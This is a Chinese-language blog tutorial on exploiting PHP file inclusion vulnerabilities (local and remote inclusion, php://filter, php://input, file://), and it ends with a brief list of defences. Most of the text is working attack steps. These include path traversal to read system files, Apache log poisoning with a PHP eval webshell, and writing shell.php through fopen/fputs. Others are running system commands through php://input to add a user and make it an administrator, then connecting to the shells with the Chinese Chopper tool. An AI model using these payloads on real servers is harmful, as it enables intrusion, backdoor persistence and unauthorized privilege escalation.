美文网首页
4.文件包含漏洞

4.文件包含漏洞

作者: StormZang | 来源:发表于2017-12-20 15:23 被阅读0次

    定义: 程序员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

    1.本地文件包含(LFI)

    1.读取敏感信息

    • 查看boot文件信息:=../../boot.ini
    • 查看其他敏感信息:


      敏感信息.jpg

    2.日志获取webshell

    Apache日志:访问日志access.log,错误日志:error.log

    • 确认有本地包含漏洞后,查看日志=..\..\..\Program%20Files\phpStudy\Apache\logs\access.log
    • 通过burpsuite修改上传小马:GET / <?php @eval($_POST[1]);?>
    • 菜刀连接日志url,拿到shell

    3.配合文件上传

    • 确认有本地文件包含漏洞,上传木马文件:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    • 用菜刀连接

    2.远程文件包含(RFI)

    前提:目标主机的allow_url_fopen是激活的

    1.远程文件包含shell

    • 用菜刀将有木马的网站连接在一起

    3. PHP封装协议

    1.读取文件

    • 读取当前目录下的phpinfo:=php://filter/read/resource=phpinfo.php
    • 进行base64编码(编码后不会被解析):=php://filter/read=convert.base64-encode/resource=phpinfo.php
    • 在hackbar下进行base64解码
    • 读取其他文件:=php://filter/read/resource=../../../../../boot.ini

    2.读写文件
    前提:allow_url_include为on

    • 发现文件包含漏洞,使用burpsuite:拦截: =php://input , 提交写入shell申请: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    • 使用菜刀连接:http://www.any.com/FI/shell.php

    3.命令执行

    • burpsuite 抓包改php://input, <?php system('net user');?>
    • 添加用户:<?php system('net user a a /add');?>
    • 提权为管理员:<?php system('net localgroup aministrator a /add');?>

    4.file封装协议

    读取文件:file://c:/boot.ini


    PHP提供了四个文件包含函数:include(),include_once(),require,require_once()


    5.防护方案

    • 严格判断包含中的参数是否外部可控
    • 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符如"../"
    • 包含文件验证:验证被包含文件是否是白名单的一员
    • 尽量不要用动态包含,可以在需要包含的页面固定写好如'include("head.php");'

    相关文章

      网友评论

          本文标题:4.文件包含漏洞

          本文链接:https://www.haomeiwen.com/subject/qspgwxtx.html